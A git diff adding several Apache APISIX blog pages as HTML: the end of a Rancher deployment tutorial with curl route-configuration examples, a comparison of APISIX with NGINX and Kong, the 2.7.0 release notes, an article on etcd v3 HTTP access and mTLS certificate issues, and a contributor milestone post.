+<span class="line"><span style="color:#FFA657"> "url"</span><span style="color:#79C0FF">:</span><span style="color:#A5D6FF"> "http://httpbin.default/get"</span></span>
+<span class="line"><span style="color:#E6EDF3">}</span></span></code></pre>
+<p>You can see that the sample project can be accessed normally from within the Apache APISIX Pod. Next, we use Apache APISIX to proxy the sample project.</p>
+<p>Here we use <code>curl</code> to call the admin interface of Apache APISIX to create a route. All requests with a host header of <code>httpbin.org</code> are forwarded to the actual application service <code>httpbin.default:80</code>.</p>
+<pre class="astro-code github-dark-default" style="background-color:#0d1117;color:#e6edf3; overflow-x: auto;" tabindex="0" data-language="shell"><code><span class="line"><span style="color:#FFA657">bash-5.1#</span><span style="color:#A5D6FF"> curl</span><span style="color:#A5D6FF"> "http://127.0.0.1:9180/apisix/admin/routes/1"</span><span style="color:#79C0FF"> -H</span><span style="color:#A5D6FF"> "X-API-KEY: edd1c9f034335f136f87ad84b625c8f1"</span><span style="color:#79C0FF"> -X</span> [...]
+<span class="line"><span style="color:#A5D6FF">{</span></span>
+<span class="line"><span style="color:#A5D6FF"> "uri": "/*",</span></span>
+<span class="line"><span style="color:#A5D6FF"> "host": "httpbin.org",</span></span>
+<span class="line"><span style="color:#A5D6FF"> "upstream": {</span></span>
+<span class="line"><span style="color:#A5D6FF"> "type": "roundrobin",</span></span>
+<span class="line"><span style="color:#A5D6FF"> "nodes": {</span></span>
+<span class="line"><span style="color:#A5D6FF"> "httpbin.default:80": 1</span></span>
+<span class="line"><span style="color:#A5D6FF"> }</span></span>
+<span class="line"><span style="color:#A5D6FF"> }</span></span>
+<span class="line"><span style="color:#A5D6FF">}'</span></span>
+<span class="line"><span style="color:#E6EDF3">{</span><span style="color:#FFA657">"action"</span><span style="color:#79C0FF">:</span><span style="color:#FFA657">"set"</span><span style="color:#FFA657">,</span><span style="color:#FFA657">"node"</span><span style="color:#79C0FF">:</span><span style="color:#A5D6FF">{</span><span style="color:#E6EDF3">"</span><span style="color:#FFA657">value</span><span style="color:#FFA657">":{"</span><span style="color:#FFA657">uri</span><span style="col [...]
+<p>You will get an output similar to the above code block. Next, verify that the proxy is successful.</p>
+<pre class="astro-code github-dark-default" style="background-color:#0d1117;color:#e6edf3; overflow-x: auto;" tabindex="0" data-language="shell"><code><span class="line"><span style="color:#FFA657">bash-5.1#</span><span style="color:#A5D6FF"> curl</span><span style="color:#A5D6FF"> http://127.0.0.1:9080/get</span><span style="color:#79C0FF"> -H</span><span style="color:#A5D6FF"> "HOST: httpbin.org"</span></span>
+<span class="line"><span style="color:#E6EDF3">{</span></span>
+<span class="line"><span style="color:#FFA657"> "args"</span><span style="color:#79C0FF">:</span><span style="color:#A5D6FF"> {},</span></span>
+<span class="line"><span style="color:#FFA657"> "headers"</span><span style="color:#79C0FF">:</span><span style="color:#A5D6FF"> {</span></span>
+<span class="line"><span style="color:#FFA657"> "Accept"</span><span style="color:#79C0FF">:</span><span style="color:#A5D6FF"> "*/*",</span></span>
+<span class="line"><span style="color:#FFA657"> "Host"</span><span style="color:#79C0FF">:</span><span style="color:#A5D6FF"> "httpbin.org",</span></span>
+<span class="line"><span style="color:#FFA657"> "User-Agent"</span><span style="color:#79C0FF">:</span><span style="color:#A5D6FF"> "curl/7.76.1",</span></span>
+<span class="line"><span style="color:#FFA657"> "X-Forwarded-Host"</span><span style="color:#79C0FF">:</span><span style="color:#A5D6FF"> "httpbin.org"</span></span>
+<span class="line"><span style="color:#E6EDF3"> },</span></span>
+<span class="line"><span style="color:#FFA657"> "origin"</span><span style="color:#79C0FF">:</span><span style="color:#A5D6FF"> "127.0.0.1",</span></span>
+<span class="line"><span style="color:#FFA657"> "url"</span><span style="color:#79C0FF">:</span><span style="color:#A5D6FF"> "http://httpbin.org/get"</span></span>
+<span class="line"><span style="color:#E6EDF3">}</span></span></code></pre>
+<p>The above output shows that the sample project traffic has been proxied through Apache APISIX. Next, let’s try accessing the sample project from outside the cluster via Apache APISIX.</p>
+<pre class="astro-code github-dark-default" style="background-color:#0d1117;color:#e6edf3; overflow-x: auto;" tabindex="0" data-language="shell"><code><span class="line"><span style="color:#FFA657">root@apisix:~$</span><span style="color:#A5D6FF"> kubectl</span><span style="color:#79C0FF"> -n</span><span style="color:#A5D6FF"> apisix</span><span style="color:#A5D6FF"> get</span><span style="color:#A5D6FF"> svc</span><span style="color:#79C0FF"> -l</span><span style="color:#A5D6FF"> app. [...]
+<span class="line"><span style="color:#FFA657">NAME</span><span style="color:#A5D6FF"> TYPE</span><span style="color:#A5D6FF"> CLUSTER-IP</span><span style="color:#A5D6FF"> EXTERNAL-IP</span><span style="color:#A5D6FF"> PORT</span><span style="color:#E6EDF3">(</span><span style="color:#FFA657">S</span><span style="color:#E6EDF3">) </span><span style="color:#A5D6FF">AGE</span></span>
+<span class="line"><span style="color:#FFA657">apisix-admin</span><span style="color:#A5D6FF"> ClusterIP</span><span style="color:#79C0FF"> 10.96.142.88</span><span style="color:#FF7B72"> <</span><span style="color:#A5D6FF">non</span><span style="color:#E6EDF3">e</span><span style="color:#FF7B72">></span><span style="color:#A5D6FF"> 9180/TCP</span><span style="color:#A5D6FF"> 51m</span></span>
+<span class="line"><span style="color:#FFA657">apisix-gateway</span><span style="color:#A5D6FF"> NodePort</span><span style="color:#79C0FF"> 10.96.158.192</span><span style="color:#FF7B72"> <</span><span style="color:#A5D6FF">non</span><span style="color:#E6EDF3">e</span><span style="color:#FF7B72">></span><span style="color:#A5D6FF"> 80:32763/TCP</span><span style="color:#A5D6FF"> 51m</span></span></code></pre>
+<p>When deployed using Helm chart, the Apache APISIX port is exposed by default as a NodePort. We use the Node IP + NodePort port for access testing.</p>
+<pre class="astro-code github-dark-default" style="background-color:#0d1117;color:#e6edf3; overflow-x: auto;" tabindex="0" data-language="shell"><code><span class="line"><span style="color:#FFA657">root@apisix:~$</span><span style="color:#A5D6FF"> curl</span><span style="color:#A5D6FF"> http://172.18.0.2:32763/get</span><span style="color:#79C0FF"> -H</span><span style="color:#A5D6FF"> "HOST: httpbin.org"</span></span>
+<span class="line"><span style="color:#E6EDF3">{</span></span>
+<span class="line"><span style="color:#FFA657"> "args"</span><span style="color:#79C0FF">:</span><span style="color:#A5D6FF"> {},</span></span>
+<span class="line"><span style="color:#FFA657"> "headers"</span><span style="color:#79C0FF">:</span><span style="color:#A5D6FF"> {</span></span>
+<span class="line"><span style="color:#FFA657"> "Accept"</span><span style="color:#79C0FF">:</span><span style="color:#A5D6FF"> "*/*",</span></span>
+<span class="line"><span style="color:#FFA657"> "Host"</span><span style="color:#79C0FF">:</span><span style="color:#A5D6FF"> "httpbin.org",</span></span>
+<span class="line"><span style="color:#FFA657"> "User-Agent"</span><span style="color:#79C0FF">:</span><span style="color:#A5D6FF"> "curl/7.58.0",</span></span>
+<span class="line"><span style="color:#FFA657"> "X-Forwarded-Host"</span><span style="color:#79C0FF">:</span><span style="color:#A5D6FF"> "httpbin.org"</span></span>
+<span class="line"><span style="color:#E6EDF3"> },</span></span>
+<span class="line"><span style="color:#FFA657"> "origin"</span><span style="color:#79C0FF">:</span><span style="color:#A5D6FF"> "10.244.3.1",</span></span>
+<span class="line"><span style="color:#FFA657"> "url"</span><span style="color:#79C0FF">:</span><span style="color:#A5D6FF"> "http://httpbin.org/get"</span></span>
+<span class="line"><span style="color:#E6EDF3">}</span></span></code></pre>
+<p>As you can see, <strong>Apache APISIX is able to proxy services within a Kubernetes cluster outside the cluster</strong>.</p>
+<h2 id="step-4-use-apache-apisix-ingress-controller-proxy-service">Step 4: Use Apache APISIX Ingress Controller Proxy Service</h2>
+<p>We can add Ingress directly to Rancher and the Apache APISIX Ingress controller will automatically synchronize the routing rules to Apache APISIX to complete the proxy for the service.</p>
+<p><img src="https://static.apiseven.com/202108/1639465402058-3f41e8de-033b-4888-a835-30969251e402.png" alt="2021-06-23-7"></p>
+<p>Note in the bottom right corner, we have added the annotation configuration <code>kubernetes.io/ingress.class: apisix</code> to support multiple ingress-controller scenarios in the cluster.</p>
+<p>After saving, you can see the following screen.</p>
+<p><img src="https://static.apiseven.com/202108/1639465466581-db8c19d7-9c8f-402c-9270-34e327908caa.png" alt="2021-06-23-8"></p>
+<p>Test if the proxy is successful under the terminal:</p>
+<pre class="astro-code github-dark-default" style="background-color:#0d1117;color:#e6edf3; overflow-x: auto;" tabindex="0" data-language="shell"><code><span class="line"><span style="color:#FFA657">root@apisix:~$</span><span style="color:#A5D6FF"> curl</span><span style="color:#A5D6FF"> http://172.18.0.2:32763/get</span><span style="color:#79C0FF"> -H</span><span style="color:#A5D6FF"> "HOST: httpbin-ing.org"</span></span>
+<span class="line"><span style="color:#E6EDF3">{</span></span>
+<span class="line"><span style="color:#FFA657"> "args"</span><span style="color:#79C0FF">:</span><span style="color:#A5D6FF"> {},</span></span>
+<span class="line"><span style="color:#FFA657"> "headers"</span><span style="color:#79C0FF">:</span><span style="color:#A5D6FF"> {</span></span>
+<span class="line"><span style="color:#FFA657"> "Accept"</span><span style="color:#79C0FF">:</span><span style="color:#A5D6FF"> "*/*",</span></span>
+<span class="line"><span style="color:#FFA657"> "Host"</span><span style="color:#79C0FF">:</span><span style="color:#A5D6FF"> "httpbin-ing.org",</span></span>
+<span class="line"><span style="color:#FFA657"> "User-Agent"</span><span style="color:#79C0FF">:</span><span style="color:#A5D6FF"> "curl/7.58.0",</span></span>
+<span class="line"><span style="color:#FFA657"> "X-Forwarded-Host"</span><span style="color:#79C0FF">:</span><span style="color:#A5D6FF"> "httpbin-ing.org"</span></span>
+<span class="line"><span style="color:#E6EDF3"> },</span></span>
+<span class="line"><span style="color:#FFA657"> "origin"</span><span style="color:#79C0FF">:</span><span style="color:#A5D6FF"> "10.244.3.1",</span></span>
+<span class="line"><span style="color:#FFA657"> "url"</span><span style="color:#79C0FF">:</span><span style="color:#A5D6FF"> "http://httpbin-ing.org/get"</span></span>
+<span class="line"><span style="color:#E6EDF3">}</span></span></code></pre>
+<p>You can see that it is also proxied properly.</p>
+<p>In addition, the Apache APISIX Ingress controller extends Kubernetes by way of CRD, and you can also expose services in Kubernetes to the public by publishing custom resources like <code>ApisixRoute</code>.</p>
+<h2 id="conclusion">Conclusion</h2>
+<p>You can deploy Apache APISIX and APISIX Ingress controller directly in Rancher using the official Apache APISIX Helm repository. And Apache APISIX can be used as a gateway or as a data plane for the APISIX Ingress controller to carry business traffic.</p>
+<h2 id="future-plans">Future Plans</h2>
+<p>The Rancher community has partnered with Apache APISIX community. You will be able to find Apache APISIX directly in Rancher’s own app store in the future, eliminating the need to manually add Helm repositories.</p> </article> </div> </main> <footer class="site-footer"> <div class="container"> <div class="footer-cols"> <div> <h4>ASF</h4> <ul> <li><a href="https://www.apache.org/">Foundation</a></li><li><a href="https://www.apache.org/licenses/">License</a></li><li><a href="https://ww [...]
\ No newline at end of file
diff --git a/blog/2021/06/28/why-we-need-apache-apisix/index.html b/blog/2021/06/28/why-we-need-apache-apisix/index.html
new file mode 100644
index 00000000000..a7a1a7c3f57
--- /dev/null
+++ b/blog/2021/06/28/why-we-need-apache-apisix/index.html
@@ -0,0 +1,55 @@
+<!DOCTYPE html><html lang="en"> <head><meta charset="utf-8"><meta name="viewport" content="width=device-width, initial-scale=1"><title>Why would you choose Apache APISIX instead of NGINX or Kong? | Apache APISIX</title><meta name="description" content="Learn why Apache APISIX is used as an open-source API Gateway for dynamic routing, traffic control, plugin extensibility, and cloud-native microservices."><meta name="robots" content="index,follow"><link rel="canonical" href="https://apisi [...]
+<p>This article describes the history of the open source API Gateway Apache APISIX architecture’s evolution and compares the advantages of the two frameworks, Apache APISIX and NGINX.</p>
+</blockquote>
+<!--truncate-->
+<p>API gateway is an important infrastructure component in the cloud-native era. There are two common criteria to evaluate an API gateway: how dynamic it is, and how mature its observability is. Many companies used to use NGINX or Kong as their API gateway, but then later switched to Apache APISIX. As an API gateway born for the cloud-native era, Apache APISIX indeed solves a lot of pain points for businesses in various dimensions. Now you might wonder, why?</p>
+<h2 id="nginx-and-kongs-limitations">NGINX and Kong’s Limitations</h2>
+<p>In the era of monolithic services, NGINX can handle most scenarios. While in the cloud-native era, NGINX has two shortcomings due to its architecture:</p>
+<ul>
+<li>NGINX does not support cluster management. Almost every company has its own NGINX configuration management system. Although the systems are similar, there is no unified solution.</li>
+<li>NGINX does not support hot reloading of configurations. If the user modifies the configuration of NGINX, it will be necessary to reload NGINX. Also, in Kubernetes, the services will change frequently. So if NGINX is used to handle the traffic, you must restart the service often, which is unacceptable for enterprises.</li>
+</ul>
+<p>Kong solves the shortcomings of NGINX but brings new limitations:</p>
+<ul>
+<li>Kong needs to rely on a PostgreSQL or Cassandra database, which makes Kong’s entire architecture very bloated and would bring a high availability limitation to the enterprise. If the database fails, the whole API Gateway fails.</li>
+<li>Kong’s routing uses traversal search. When there are more than a thousand routes in the gateway, its performance will dramatically drop.</li>
+</ul>
+<p>The APISIX resolves all the above limitations and becomes the best API gateway in the cloud-native era.</p>
+<h2 id="advantages-of-apache-apisix">Advantages of Apache APISIX</h2>
+<h3 id="well-designed-architecture">Well designed architecture</h3>
+<p>First, Apache APISIX has an excellent architecture. Cloud-native, as the current technology trend, will change the technical architecture of traditional enterprises. Many applications are migrating to microservices and containerization. APISIX has followed the technology trend since its inception:</p>
+<p><img src="https://static.apiseven.com/2022/10/03/633a40c31bfe9.png" alt="image"></p>
+<p>As shown in the figure above, the left and right are the Data Plane and the Control Plane of APISIX:</p>
+<ul>
+<li>Data Plane: Based on NGINX’s network library (without using NGINX’s route matching, static configuration, and C modules), it uses Lua and NGINX to dynamically control request traffic;</li>
+<li>Control Plane: Administrators can operate etcd through the built-in RESTful API. With the help of the etcd’s Watch mechanism, APISIX can synchronize the configuration to each node within milliseconds.</li>
+</ul>
+<p>For updating data, Kong uses the database polling method; it may take 5-10 seconds to get the latest configuration, while APISIX achieves the same by monitoring etcd configuration changes, which can control the time in milliseconds.</p>
+<p>Since both APISIX and etcd support multi-instance deployment, there is no single point of failure.</p>
+<h3 id="rich-ecosystem">Rich ecosystem</h3>
+<p>The following figure shows the ecosystem map of APISIX. From this figure, we can see that APISIX supports L7 protocols including HTTP(S), HTTP2, Dubbo, IoT protocol MQTT, etc. In addition, APISIX supports L4 protocols such as TCP/UDP.</p>
+<p>The right part of the figure contains some open-source or SaaS services, such as Apache SkyWalking, Prometheus, HashiCorp Vault, etc. At the bottom of the figure are the more common operating system environments, cloud vendors, and hardware environments. As an open-source software, APISIX can also be run on ARM64 servers.</p>
+<p><img src="https://static.apiseven.com/2022/10/03/633a40c2e47c3.png" alt="image"></p>
+<p>APISIX supports not only many protocols and operating systems but also supports <a href="https://apisix.apache.org/docs/">multi-language programming plugins</a>. When it first came out, APISIX only supported using the Lua language to write plugins. In this case, developers need to master the technology stack related to Lua and NGINX. However, Lua and NGINX are relatively niche technologies familiar to few developers. Therefore, we have then enabled plugin development on APISIX with mu [...]
+<p><img src="https://static.apiseven.com/2022/10/03/633a3fc3ebe67.png" alt="image"></p>
+<h3 id="active-community">Active community</h3>
+<p>The figure below is the contributor growth curve, where the horizontal axis represents the timeline, and the vertical axis represents the total number of contributors. We can see that the two projects, Apache APISIX and Kong, are relatively more active. Apache APISIX has maintained an excellent growth rate from the first day and is growing rapidly at a rate close to twice that of Kong. As of July 2022, the number of contributors to APISIX has exceeded Kong, which shows the popularity [...]
+<p><img src="https://static.apiseven.com/2022/10/03/633a3fc6ef2f7.png" alt="image"></p>
+<h2 id="unified-proxy-infrastructure">Unified proxy infrastructure</h2>
+<p>From the figure below, I believe you have already understood the goal of APISIX: unifying the proxy infrastructure.</p>
+<p><img src="https://static.apiseven.com/2022/10/03/633a40c31027f.png" alt="image"></p>
+<p>Because the core of APISIX is a high-performance proxy service, it does not bind any environment properties. Therefore, when it evolves into products such as Ingress and Service Mesh, you don’t have to change the internal structure of APISIX. The following will introduce to you step-by-step how APISIX supports these scenarios.</p>
+<h3 id="load-balance-and-api-gateway">Load balance and API gateway</h3>
+<p>The first is for traditional LB and API gateway scenarios. Because APISIX is implemented based on NGINX + LuaJIT, it has high-performance and security features, and supports the dynamically loading of an SSL certificate, SSL handshake optimization, and other functions. In terms of load balancing, APISIX also performs better. Switching from NGINX to APISIX will not degrade performance but rather improve management efficiency brought about by features such as unified management.</p>
+<h3 id="microservice-gateway">Microservice Gateway</h3>
+<p>APISIX allows you to write extension plugins in multiple languages, which can solve the main problem faced by east-west microservice API gateways - how to manage in a unified way in heterogeneous environments. APISIX also supports service discovery like Nacos, etcd and Eureka, and standard DNS methods, which can completely replace microservice API gateways such as Zuul, Spring Cloud Gateway, and Dubbo.</p>
+<h3 id="kubernetes-ingress">Kubernetes Ingress</h3>
+<p>Currently, the official Kubernetes Ingress Controller project of K8s is mainly developed based on the NGINX configuration file, so it is slightly insufficient in routing capability and loading mode and has some obvious limitations. For example, when adding or modifying any API, you need to restart the service to complete the update of the new NGINX configuration. Restarting the service has a great impact on online traffic.</p>
+<p>The <a href="https://apisix.apache.org/docs/ingress-controller/getting-started/">APISIX Ingress Controller</a> perfectly resolves all the limitations mentioned above: it supports fully hot reloading. At the same time, it inherits all the advantages of APISIX and also supports native Kubernetes CRD, which is convenient for users to migrate.</p>
+<p><img src="https://static.apiseven.com/2022/10/03/633a3fc73575c.png" alt="image"></p>
+<h3 id="service-mesh">Service mesh</h3>
+<p>In the next five to ten years, the service mesh architecture based on the cloud-native model will begin to emerge. APISIX has also started to lock the track in advance. After abundant research and technical analysis, APISIX has supported the xDS protocol. APISIX Mesh was born, and APISIX also has a place in the field of service mesh.</p>
+<p><img src="https://static.apiseven.com/2022/10/03/633a3fc7373ff.png" alt="image"></p>
+<h2 id="summary">Summary</h2>
+<p>It has been three years since the first day Apache APISIX was open-sourced. The highly active community and <a href="https://apisix.apache.org/blog/tags/case-studies/">case studies</a> have proved that APISIX is the perfect API gateway in the cloud-native era. By reading this article, I believe you have a more comprehensive understanding of APISIX.</p>
+<p>If you have any questions, you can leave a message in <a href="https://github.com/apache/apisix/issues">GitHub issue</a>; community contributors will respond quickly; of course, you can also join the APISIX Slack channel and mailing list; please refer to <a href="https://apisix.apache.org/docs/general/join/">Join Us</a>.</p> </article> </div> </main> <footer class="site-footer"> <div class="container"> <div class="footer-cols"> <div> <h4>ASF</h4> <ul> <li><a href="https://www.apache. [...]
\ No newline at end of file
diff --git a/blog/2021/06/29/release-apache-apisix-2.7/index.html b/blog/2021/06/29/release-apache-apisix-2.7/index.html
new file mode 100644
index 00000000000..e70e975d971
--- /dev/null
+++ b/blog/2021/06/29/release-apache-apisix-2.7/index.html
@@ -0,0 +1,38 @@
+<!DOCTYPE html><html lang="en"> <head><meta charset="utf-8"><meta name="viewport" content="width=device-width, initial-scale=1"><title>Release Apache APISIX 2.7.0 | Apache APISIX</title><meta name="description" content="This version supports multi-language plugins, enhances the four-layer TCP proxy and Nginx configuration. More than 20 developers participated, and 70 plus pull requests have been submitted. The following is an introduction to the key features."><meta name="robots" content [...]
+<p>Apache APISIX 2.7.0 has been released! Welcome to download and use it.</p>
+</blockquote>
+<!--truncate-->
+<p>This version supports multi-language plugins, enhances the four-layer TCP proxy and Nginx configuration. More than 20 developers participated, and 70 plus pull requests have been submitted. The following is an introduction to the key features.</p>
+<h2 id="release-notes">Release Notes</h2>
+<h3 id="multi-language-plugin">Multi-language plugin</h3>
+<p>With the release of the first version of apisix-java-plugin-runner, and apisix-go-plugin-runner completes its main functions, the multi-language plugin of Apache APISIX supports the two most widely used back-end programming languages. If you are still worried that the development of Apache APISIX plugin will be limited to Lua ecosystem, please try our multi-language plugin runner to develop Java / Go plugins.</p>
+<h3 id="enhanced-four-layer-tcp-proxy">Enhanced four-layer TCP proxy</h3>
+<p>In version 2.7, we have developed new features of TCP proxy, including:</p>
+<ul>
+<li>Allow domain name configuration in upstream</li>
+<li>Allow mqtt-proxy plugin to configure domain name</li>
+<li>Support for receiving TLS over TCP connections, the certificate of which can be dynamically configured just like HTTPS certificate</li>
+<li>SNI-based route rules</li>
+<li>Dynamic verification of client certificates</li>
+</ul>
+<p>In future releases, we will continue to improve TCP proxy, so stay tuned!</p>
+<h3 id="enhanced-nginx-configuration">Enhanced Nginx configuration</h3>
+<p>We hope to dynamically set more and more Nginx configurations, so we add our own patches and Nginx C modules to enhance the native Nginx.</p>
+<p>The following new features are currently included:</p>
+<ul>
+<li>Dynamically set mTLS</li>
+<li>Dynamically set client_max_body_size</li>
+</ul>
+<p>In future releases, we will continue to allow the following Nginx configurations to be set dynamically:</p>
+<ul>
+<li>upstream keepalive</li>
+<li>gzip</li>
+<li>real_ip</li>
+<li>proxy_max_temp_file_size</li>
+</ul>
+<h2 id="download">Download</h2>
+<p>Download Apache APISIX 2.7.0-Release</p>
+<ul>
+<li>Source code: please visit <a href="https://apisix.apache.org/downloads/">download page</a></li>
+<li>Binary installation package: please visit <a href="https://apisix.apache.org/zh/docs/apisix/how-to-build/">Installation Guide</a></li>
+</ul> </article> </div> </main> <footer class="site-footer"> <div class="container"> <div class="footer-cols"> <div> <h4>ASF</h4> <ul> <li><a href="https://www.apache.org/">Foundation</a></li><li><a href="https://www.apache.org/licenses/">License</a></li><li><a href="https://www.apache.org/events/current-event">Events</a></li><li><a href="https://www.apache.org/security/">Security</a></li><li><a href="https://www.apache.org/foundation/sponsorship.html">Sponsorship</a></li><li><a href="h [...]
\ No newline at end of file
diff --git a/blog/2021/06/30/etcd3-support-http-access-perfectly/index.html b/blog/2021/06/30/etcd3-support-http-access-perfectly/index.html
new file mode 100644
index 00000000000..bcbb1bb0716
--- /dev/null
+++ b/blog/2021/06/30/etcd3-support-http-access-perfectly/index.html
@@ -0,0 +1,49 @@
+<!DOCTYPE html><html lang="en"> <head><meta charset="utf-8"><meta name="viewport" content="width=device-width, initial-scale=1"><title>Does etcd 3 Support HTTP Access Perfectly? | Apache APISIX</title><meta name="description" content="After etcd was upgraded to version 3.x, the protocol of its external API was switched from normal HTTP1 to gRPC. etcd proxied HTTP1 requests through gRPC-gateway to access the new gRPC API in the form of gRPC for those special groups that cannot use gRPC. ( [...]
+<p>It has been 8 months since the release of Apache APISIX version 2.0 last October. In the course of practice, we have also discovered some issues with etcd’s HTTP API that interoperate with the gRPC API. In fact, having a gRPC-gateway does not mean that HTTP access is perfectly supported, there are some nuances here.</p>
+</blockquote>
+<!--truncate-->
+<p>After etcd was upgraded to version 3.x, the protocol of its external API was switched from normal HTTP1 to gRPC. etcd proxied HTTP1 requests through gRPC-gateway to access the new gRPC API in the form of gRPC for those special groups that cannot use gRPC. (Since HTTP1 is too awkward to pronounce, the following is simplified to HTTP, which corresponds to gRPC. Please don’t get hung up on the fact that gRPC is also an HTTP request.)</p>
+<p>When Apache APISIX started using etcd, we used the etcd v2 API, and since Apache APISIX version 2.0, we have upgraded our dependency on etcd to 3.x. Since there is no gRPC library in the Lua ecosystem, etcd’s HTTP compatibility has helped us a lot, so we don’t have to go through a lot of effort to patch This was a big help, so we didn’t have to go to a lot of trouble to fill in the gaps.</p>
+<p>It has been 8 months since the release of Apache APISIX version 2.0 last October. In the course of practice, we have also discovered some issues with etcd’s HTTP API that interoperates with the gRPC API. In fact, having a gRPC-gateway does not mean that HTTP access is perfectly supported, there are some nuances here.</p>
+<h2 id="breaking-the-default-restrictions-of-grpc">Breaking the Default Restrictions of gRPC</h2>
+<p>Just a few days ago, etcd released version v3.5.0. This release solves a problem that has been bothering us for a long time.</p>
+<p>Unlike HTTP, gRPC limits the size of data that can be read in one request by default. This limit is called “MaxCallRecvMsgSize” and defaults to 4MiB. When Apache APISIX fully synchronizes etcd data, this limit can be triggered if configured enough and the error “grpc: received message larger than max”.</p>
+<p>Miraculously, if you use etcdctl to access it, there is no problem at all. This is because this limit can be set dynamically when establishing a connection with the gRPC server. etcdctl sets this limit to a large integer, which is equivalent to removing this limit.</p>
+<p>Since many users have encountered the same problem, we have discussed countermeasures.
+One idea was to use incremental synchronization to simulate full synchronization, which has two drawbacks.</p>
+<ol>
+<li>It is complicated to implement and requires a lot of code changes.</li>
+<li>It would extend the time required for synchronization.</li>
+</ol>
+<p>Another idea is to modify etcd. If you can remove the restrictions in etcdctl, why not treat gRPC-gateway the same way? The same change can be made to gRPC-gateway.
+We’ve adopted the second option, and have given etcd a PR: <a href="https://github.com/etcd-io/etcd/pull/13077">PR #13077</a>.</p>
+<p><img src="https://static.apiseven.com/202108/1639465584634-26435c89-3e1c-4fb9-b094-057fce0f769d.png" alt="2021-06-30-1"></p>
+<p>The latest release of v3.5.0 includes this change that we contributed. If you encounter “grpc: received message larger than max”, you may want to try this version. This change has also been back-ported to the 3.4 branch by the etcd developers, and the next release of the 3.4 branch will carry this change as well.</p>
+<p>This incident also shows that gRPC-gateway is not foolproof. Even with it, there is no guarantee that HTTP access will have the same experience as gRPC access.</p>
+<h2 id="interesting-usage-of-server-side-certificates">Interesting Usage of Server-side Certificates</h2>
+<p>After Apache APISIX added support for etcd mTLS, some users reported that they have been unable to complete the checksum, while accessing with etcdctl was successful. After talking to the user, I decided to take his certificate and reproduce it.</p>
+<p>During the replication process, I noticed this error in the etcd log:</p>
+<pre class="astro-code github-dark-default" style="background-color:#0d1117;color:#e6edf3; overflow-x: auto;" tabindex="0" data-language="text"><code><span class="line"><span>2021-06-09 11:10:13.022735 I | embed: rejected connection from "127.0.0.1:50898" (error "tls: failed to verify client's certificate: x509: certificate specifies an incompatible key usage", ServerName "")</span></span>
+<span class="line"><span>WARNING: 2021/06/09 11:10:13 grpc: addrConn.createTransport failed to connect to {127.0.0.1:12379 0 }. Err :connection error: desc = "transport: authentication handshake failed: remote error: tls: bad certificate". Reconnecting...</span></span></code></pre>
+<p>The “bad certificate” error message looks at first glance like it is because we sent the wrong client certificate to etcd. But if you look closely, you will see that this error is reported inside the gRPC server.</p>
+<p>The gRPC-gateway acts as a proxy inside etcd, turning outside HTTP requests into gRPC requests that the gRPC server can handle.</p>
+<p>The general architecture is as follows:</p>
+<pre class="astro-code github-dark-default" style="background-color:#0d1117;color:#e6edf3; overflow-x: auto;" tabindex="0" data-language="text"><code><span class="line"><span>etcdctl ----> gRPC server</span></span>
+<span class="line"><span>Apache APISIX ---> gRPC-gateway ---> gRPC server</span></span></code></pre>
+<p>Why does etcdctl connect directly to the gRPC server, but not with a gRPC-gateway in between?</p>
+<p>It turns out that when etcd enables client-side certificate validation, a client-side certificate is required to connect to the gRPC server using the gRPC-gateway. Guess where this certificate comes from?</p>
+<p>etcd uses the configured server-side certificate directly as the client-side certificate here.</p>
+<p>A certificate that provides both authentication on the server side and identity on the client side doesn’t seem to be a problem. Unless server auth expansion is enabled on the certificate, but client auth is not enabled. Execute the following command on the faulty certificate:</p>
+<pre class="astro-code github-dark-default" style="background-color:#0d1117;color:#e6edf3; overflow-x: auto;" tabindex="0" data-language="shell"><code><span class="line"><span style="color:#FFA657">openssl</span><span style="color:#A5D6FF"> x509</span><span style="color:#79C0FF"> -text</span><span style="color:#79C0FF"> -noout</span><span style="color:#79C0FF"> -in</span><span style="color:#A5D6FF"> /tmp/bad.crt</span></span></code></pre>
+<p>You will see output like this:</p>
+<pre class="astro-code github-dark-default" style="background-color:#0d1117;color:#e6edf3; overflow-x: auto;" tabindex="0" data-language="text"><code><span class="line"><span>X509v3 extensions:</span></span>
+<span class="line"><span>X509v3 Key Usage: critical</span></span>
+<span class="line"><span>Digital Signature, Key Encipherment</span></span>
+<span class="line"><span>X509v3 Extended Key Usage:</span></span>
+<span class="line"><span>TLS Web Server Authentication</span></span></code></pre>
+<p>Note the “TLS Web Server Authentication” here, if we change it to “TLS Web Server Authentication, TLS Web Client Authentication” or without this extension, there will be no problem.</p>
+<p>There is also an issue about this problem on etcd’s repository: Issue <a href="https://github.com/etcd-io/etcd/issues/9785">#9785</a>.</p>
+<p><img src="https://static.apiseven.com/202108/1639465662863-30bc4fa9-8b7c-47d9-a73e-810bd690a588.png" alt="2021-06-30-2"></p>
+<h2 id="summary">Summary</h2>
+<p>Although we have listed a few minor issues above, etcd’s support for HTTP access is still a very useful feature.</p>
+<p>Thanks to the users of Apache APISIX, we have a large user base to find these details of etcd. As a large user of etcd, we will continue to communicate with the etcd developers for many years to come.</p> </article> </div> </main> <footer class="site-footer"> <div class="container"> <div class="footer-cols"> <div> <h4>ASF</h4> <ul> <li><a href="https://www.apache.org/">Foundation</a></li><li><a href="https://www.apache.org/licenses/">License</a></li><li><a href="https://www.apache.or [...]
\ No newline at end of file
diff --git a/blog/2021/07/06/celebrate-200-contributors/index.html b/blog/2021/07/06/celebrate-200-contributors/index.html
new file mode 100644
index 00000000000..f5c3bfa0eeb
--- /dev/null
+++ b/blog/2021/07/06/celebrate-200-contributors/index.html
@@ -0,0 +1,23 @@
+<!DOCTYPE html><html lang="en"> <head><meta charset="utf-8"><meta name="viewport" content="width=device-width, initial-scale=1"><title>Apache APISIX has over 200 contributors in GitHub main repo! | Apache APISIX</title><meta name="description" content="Before entering the Apache incubator, Apache APISIX had only more than 20 contributors. Today, there are more than 200 contributors to the main Apache APISIX repo. 200 contributors have submitted a total of 2386 PRs, making it the most ac [...]
+<p>Apache APISIX has over 200 contributors in GitHub main repo!</p>
+</blockquote>
+<!--truncate-->
+<p>Before entering the Apache incubator, Apache APISIX had only more than 20 contributors. Today, there are more than 200 contributors to the main Apache APISIX repo. 200 contributors have submitted a total of 2386 PRs, making it the most active open source gateway project in the world.</p>
+<p>In August 2019, Apache APISIX released the first version 0.6.0. Version 1.0 was released in January 2020, which was the first production version of Apache APISIX. We maintain a fast and stable pace, releasing a new version every month. Such rapid iteration is inseparable from the support of every contributor in the community. Thanks to the community contributors for your contributions in all aspects of code, documentation, and maintenance!</p>
